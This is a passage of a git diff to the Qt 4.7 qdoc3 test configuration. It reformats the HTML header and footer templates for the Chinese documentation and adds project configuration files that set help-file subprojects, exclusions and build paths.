+ " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div id=\"shortCut\">\n" \
+ " <ul>\n" \
+ " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \
+ " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
+ " </a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
+ " <li><a href=\"#\">API Lookup</a> \n" \
+ " <ul id=\"topmenuLook\"> \n" \
+ " <li><a href=\"classes.html\">所有类</a></li> \n" \
+ " <li><a href=\"functions.html\">所有函数</a></li> \n" \
+ " <li><a href=\"modules.html\">Modules</a></li> \n" \
+ " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
+ " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
+ " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " <li><a href=\"#\">Qt Topics</a> \n" \
+ " <ul id=\"topmenuTopic\"> \n" \
+ " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
+ " <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
+ " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
+ " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " <li><a href=\"#\">Examples</a> \n" \
+ " <ul id=\"topmenuexample\"> \n" \
+ " <li><a href=\"all-examples.html\">Examples</a></li> \n" \
+ " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
+ " <li><a href=\"demos.html\">Demos</a></li> \n" \
+ " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
+ " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"wrapper\">\n" \
+ " <div class=\"hd\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " <div class=\"bd group\">\n" \
+ " <div class=\"sidebar\">\n" \
+ " <div class=\"searchlabel\">\n" \
+ " Search index:</div>\n" \
+ " <div class=\"search\">\n" \
+ " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
+ " <fieldset>\n" \
+ " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
+ " </fieldset>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div class=\"box first bottombar\" id=\"lookup\">\n" \
+ " <h2 title=\"API Lookup\"><span></span>\n" \
+ " API Lookup</h2>\n" \
+ " <div id=\"list001\" class=\"list\">\n" \
+ " <ul id=\"ul001\" >\n" \
+ " <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"box bottombar\" id=\"topics\">\n" \
+ " <h2 title=\"Qt Topics\"><span></span>\n" \
+ " Qt Topics</h2>\n" \
+ " <div id=\"list002\" class=\"list\">\n" \
+ " <ul id=\"ul002\" >\n" \
+ " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"box\" id=\"examples\">\n" \
+ " <h2 title=\"Examples\"><span></span>\n" \
+ " Examples</h2>\n" \
+ " <div id=\"list003\" class=\"list\">\n" \
+ " <ul id=\"ul003\">\n" \
+ " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"wrap\">\n" \
+ " <div class=\"toolbar\">\n" \
+ " <div class=\"breadcrumb toolblock\">\n" \
+ " <ul>\n" \
+ " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+ " <!-- Bread crumbs goes here -->\n"
+
+HTML.postpostheader = \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div class=\"toolbuttons toolblock\">\n" \
+ " <ul>\n" \
+ " <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+ " <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+ " <span>Print</span></a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"content\">\n"
+
+HTML.footer = \
+ " <!-- /div -->\n" \
+ " <div class=\"feedback t_button\">\n" \
+ " [+] Documentation Feedback</div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"ft\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " </div> \n" \
+ " <div class=\"footer\">\n" \
+ " <p>\n" \
+ " <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
+ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+ " in Finland and/or other countries worldwide.</p>\n" \
+ " <p>\n" \
+ " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+ " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+ " <br />\n" \
+ " <p>\n" \
+ " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+ " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+ " with the terms contained in a written agreement between you and Nokia.</p>\n" \
+ " <p>\n" \
+ " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+ " Free Documentation License version 1.3</a>\n" \
+ " as published by the Free Software Foundation.</p>\n" \
+ " </div>\n" \
+ " <div id=\"feedbackBox\">\n" \
+ " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+ " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+ " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
+ " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div id=\"blurpage\">\n" \
+ " </div>\n"
diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf
index b91530f..402ee9e 100644
--- a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf
+++ b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf
@@ -1,177 +1,176 @@
-HTML.stylesheets = style/style.css \
- style/OfflineStyle.css \
- style/style_ie7.css \
- style/style_ie8.css \
- style/style_ie6.css
+include(qt-html-default-styles.qdocconf)
-HTML.postheader = " <div class=\"header\" id=\"qtdocheader\">\n" \
- " <div class=\"content\"> \n" \
- " <div id=\"nav-logo\">\n" \
- " <a href=\"index.html\">Home</a></div>\n" \
- " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
- " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
- " <fieldset>\n" \
- " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
- " </fieldset>\n" \
- " </form></div>\n" \
- " <div id=\"nav-topright\">\n" \
- " <ul>\n" \
- " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
- " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
- " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
- " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
- " DOC</a></li>\n" \
- " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
- " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " <div id=\"shortCut\">\n" \
- " <ul>\n" \
- " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \
- " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
- " </a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
- " <li><a href=\"#\">API Lookup</a> \n" \
- " <ul id=\"topmenuLook\"> \n" \
- " <li><a href=\"classes.html\">所有类</a></li> \n" \
- " <li><a href=\"functions.html\">所有函数</a></li> \n" \
- " <li><a href=\"modules.html\">Modules</a></li> \n" \
- " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
- " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
- " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " <li><a href=\"#\">Qt Topics</a> \n" \
- " <ul id=\"topmenuTopic\"> \n" \
- " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
- " <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
- " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
- " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " <li><a href=\"#\">Examples</a> \n" \
- " <ul id=\"topmenuexample\"> \n" \
- " <li><a href=\"all-examples.html\">Examples</a></li> \n" \
- " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
- " <li><a href=\"demos.html\">Demos</a></li> \n" \
- " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
- " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"wrapper\">\n" \
- " <div class=\"hd\">\n" \
- " <span></span>\n" \
- " </div>\n" \
- " <div class=\"bd group\">\n" \
- " <div class=\"sidebar\">\n" \
- " <div class=\"searchlabel\">\n" \
- " Search index:</div>\n" \
- " <div class=\"search\">\n" \
- " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
- " <fieldset>\n" \
- " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
- " </fieldset>\n" \
- " </form>\n" \
- " </div>\n" \
- " <div class=\"box first bottombar\" id=\"lookup\">\n" \
- " <h2 title=\"API Lookup\"><span></span>\n" \
- " API Lookup</h2>\n" \
- " <div id=\"list001\" class=\"list\">\n" \
- " <ul id=\"ul001\" >\n" \
- " <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"box bottombar\" id=\"topics\">\n" \
- " <h2 title=\"Qt Topics\"><span></span>\n" \
- " Qt Topics</h2>\n" \
- " <div id=\"list002\" class=\"list\">\n" \
- " <ul id=\"ul002\" >\n" \
- " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"box\" id=\"examples\">\n" \
- " <h2 title=\"Examples\"><span></span>\n" \
- " Examples</h2>\n" \
- " <div id=\"list003\" class=\"list\">\n" \
- " <ul id=\"ul003\">\n" \
- " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"wrap\">\n" \
- " <div class=\"toolbar\">\n" \
- " <div class=\"breadcrumb toolblock\">\n" \
- " <ul>\n" \
- " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
- " <!-- Bread crumbs goes here -->\n"
+HTML.postheader = \
+ " <div class=\"header\" id=\"qtdocheader\">\n" \
+ " <div class=\"content\"> \n" \
+ " <div id=\"nav-logo\">\n" \
+ " <a href=\"index.html\">Home</a></div>\n" \
+ " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+ " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
+ " <fieldset>\n" \
+ " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
+ " </fieldset>\n" \
+ " </form></div>\n" \
+ " <div id=\"nav-topright\">\n" \
+ " <ul>\n" \
+ " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
+ " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
+ " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
+ " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
+ " DOC</a></li>\n" \
+ " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
+ " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div id=\"shortCut\">\n" \
+ " <ul>\n" \
+ " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \
+ " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
+ " </a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
+ " <li><a href=\"#\">API Lookup</a> \n" \
+ " <ul id=\"topmenuLook\"> \n" \
+ " <li><a href=\"classes.html\">所有类</a></li> \n" \
+ " <li><a href=\"functions.html\">所有函数</a></li> \n" \
+ " <li><a href=\"modules.html\">Modules</a></li> \n" \
+ " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
+ " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
+ " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " <li><a href=\"#\">Qt Topics</a> \n" \
+ " <ul id=\"topmenuTopic\"> \n" \
+ " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
+ " <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
+ " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
+ " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " <li><a href=\"#\">Examples</a> \n" \
+ " <ul id=\"topmenuexample\"> \n" \
+ " <li><a href=\"all-examples.html\">Examples</a></li> \n" \
+ " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
+ " <li><a href=\"demos.html\">Demos</a></li> \n" \
+ " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
+ " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"wrapper\">\n" \
+ " <div class=\"hd\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " <div class=\"bd group\">\n" \
+ " <div class=\"sidebar\">\n" \
+ " <div class=\"searchlabel\">\n" \
+ " Search index:</div>\n" \
+ " <div class=\"search\">\n" \
+ " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
+ " <fieldset>\n" \
+ " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
+ " </fieldset>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div class=\"box first bottombar\" id=\"lookup\">\n" \
+ " <h2 title=\"API Lookup\"><span></span>\n" \
+ " API Lookup</h2>\n" \
+ " <div id=\"list001\" class=\"list\">\n" \
+ " <ul id=\"ul001\" >\n" \
+ " <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"box bottombar\" id=\"topics\">\n" \
+ " <h2 title=\"Qt Topics\"><span></span>\n" \
+ " Qt Topics</h2>\n" \
+ " <div id=\"list002\" class=\"list\">\n" \
+ " <ul id=\"ul002\" >\n" \
+ " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"box\" id=\"examples\">\n" \
+ " <h2 title=\"Examples\"><span></span>\n" \
+ " Examples</h2>\n" \
+ " <div id=\"list003\" class=\"list\">\n" \
+ " <ul id=\"ul003\">\n" \
+ " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"wrap\">\n" \
+ " <div class=\"toolbar\">\n" \
+ " <div class=\"breadcrumb toolblock\">\n" \
+ " <ul>\n" \
+ " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+ " <!-- Bread crumbs goes here -->\n"
-HTML.postpostheader = " </ul>\n" \
- " </div>\n" \
- " <div class=\"toolbuttons toolblock\">\n" \
- " <ul>\n" \
- " <li id=\"smallA\" class=\"t_button\">A</li>\n" \
- " <li id=\"medA\" class=\"t_button active\">A</li>\n" \
- " <li id=\"bigA\" class=\"t_button\">A</li>\n" \
- " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
- " <span>Print</span></a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"content\">\n"
+HTML.postpostheader = \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div class=\"toolbuttons toolblock\">\n" \
+ " <ul>\n" \
+ " <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+ " <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+ " <span>Print</span></a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"content\">\n"
-HTML.footer = " <!-- /div -->\n" \
- " <div class=\"feedback t_button\">\n" \
- " [+] Documentation Feedback</div>\n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"ft\">\n" \
- " <span></span>\n" \
- " </div>\n" \
- " </div> \n" \
- " <div class=\"footer\">\n" \
- " <p>\n" \
- " <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
- " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
- " in Finland and/or other countries worldwide.</p>\n" \
- " <p>\n" \
- " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
- " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
- " <br />\n" \
- " <p>\n" \
- " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
- " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
- " with the terms contained in a written agreement between you and Nokia.</p>\n" \
- " <p>\n" \
- " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
- " Free Documentation License version 1.3</a>\n" \
- " as published by the Free Software Foundation.</p>\n" \
- " </div>\n" \
- " <div id=\"feedbackBox\">\n" \
- " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
- " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
- " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
- " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
- " </form>\n" \
- " </div>\n" \
- " <div id=\"blurpage\">\n" \
- " </div>\n"
+HTML.footer = \
+ " <!-- /div -->\n" \
+ " <div class=\"feedback t_button\">\n" \
+ " [+] Documentation Feedback</div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"ft\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " </div> \n" \
+ " <div class=\"footer\">\n" \
+ " <p>\n" \
+ " <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
+ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+ " in Finland and/or other countries worldwide.</p>\n" \
+ " <p>\n" \
+ " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+ " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+ " <br />\n" \
+ " <p>\n" \
+ " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+ " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+ " with the terms contained in a written agreement between you and Nokia.</p>\n" \
+ " <p>\n" \
+ " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+ " Free Documentation License version 1.3</a>\n" \
+ " as published by the Free Software Foundation.</p>\n" \
+ " </div>\n" \
+ " <div id=\"feedbackBox\">\n" \
+ " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+ " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+ " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
+ " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div id=\"blurpage\">\n" \
+ " </div>\n"
diff --git a/tools/qdoc3/test/qt-project-api-only.qdocconf b/tools/qdoc3/test/qt-project-api-only.qdocconf
new file mode 100644
index 0000000..4a91601
--- /dev/null
+++ b/tools/qdoc3/test/qt-project-api-only.qdocconf
@@ -0,0 +1,32 @@
+# Ensures that the generated index contains a URL that can be used by the
+# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf,
+# qmake.qdocconf).
+
+url = ./
+
+# Ensures that the documentation for the tools is not included in the generated
+# .qhp file.
+
+qhp.Qt.excluded += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \
+ $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \
+ $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \
+ $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \
+ $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc
+
+# Remove the QML documentation from the Qt-only documentation.
+
+excludedirs += $QT_SOURCE_TREE/src/imports
+
+outputdir = $QT_BUILD_TREE/doc-build/html-qt
+tagfile = $QT_BUILD_TREE/doc-build/html-qt/qt.tags
+base = file:$QT_BUILD_TREE/doc-build/html-qt
diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf
new file mode 100644
index 0000000..3ed7cff
--- /dev/null
+++ b/tools/qdoc3/test/qt-project.qdocconf
@@ -0,0 +1,110 @@
+include(compat.qdocconf)
+include(macros.qdocconf)
+include(qt-cpp-ignore.qdocconf)
+include(qt-defines.qdocconf)
+
+project = Qt
+description = Qt Reference Documentation
+url = http://qt.nokia.com/doc/4.7
+version = 4.7.2
+
+sourceencoding = UTF-8
+outputencoding = UTF-8
+naturallanguage = en_US
+
+qhp.projects = Qt
+
+qhp.Qt.file = qt.qhp
+qhp.Qt.namespace = com.trolltech.qt.472
+qhp.Qt.virtualFolder = qdoc
+qhp.Qt.indexTitle = Qt Reference Documentation
+qhp.Qt.indexRoot =
+
+qhp.Qt.filterAttributes = qt 4.7.2 qtrefdoc
+qhp.Qt.customFilters.Qt.name = Qt 4.7.2
+qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.2
+qhp.Qt.subprojects = classes overviews examples
+qhp.Qt.subprojects.classes.title = Classes
+qhp.Qt.subprojects.classes.indexTitle = Qt's Classes
+qhp.Qt.subprojects.classes.selectors = class fake:headerfile
+qhp.Qt.subprojects.classes.sortPages = true
+qhp.Qt.subprojects.overviews.title = Overviews
+qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs
+qhp.Qt.subprojects.overviews.selectors = fake:page,group,module
+qhp.Qt.subprojects.examples.title = Tutorials and Examples
+qhp.Qt.subprojects.examples.indexTitle = Qt Examples
+qhp.Qt.subprojects.examples.selectors = fake:example
+
+language = Cpp
+
+headerdirs = $QT_SOURCE_TREE/src \
+ $QT_SOURCE_TREE/extensions/activeqt \
+ $QT_SOURCE_TREE/tools/assistant/lib \
+ $QT_SOURCE_TREE/tools/assistant/compat/lib \
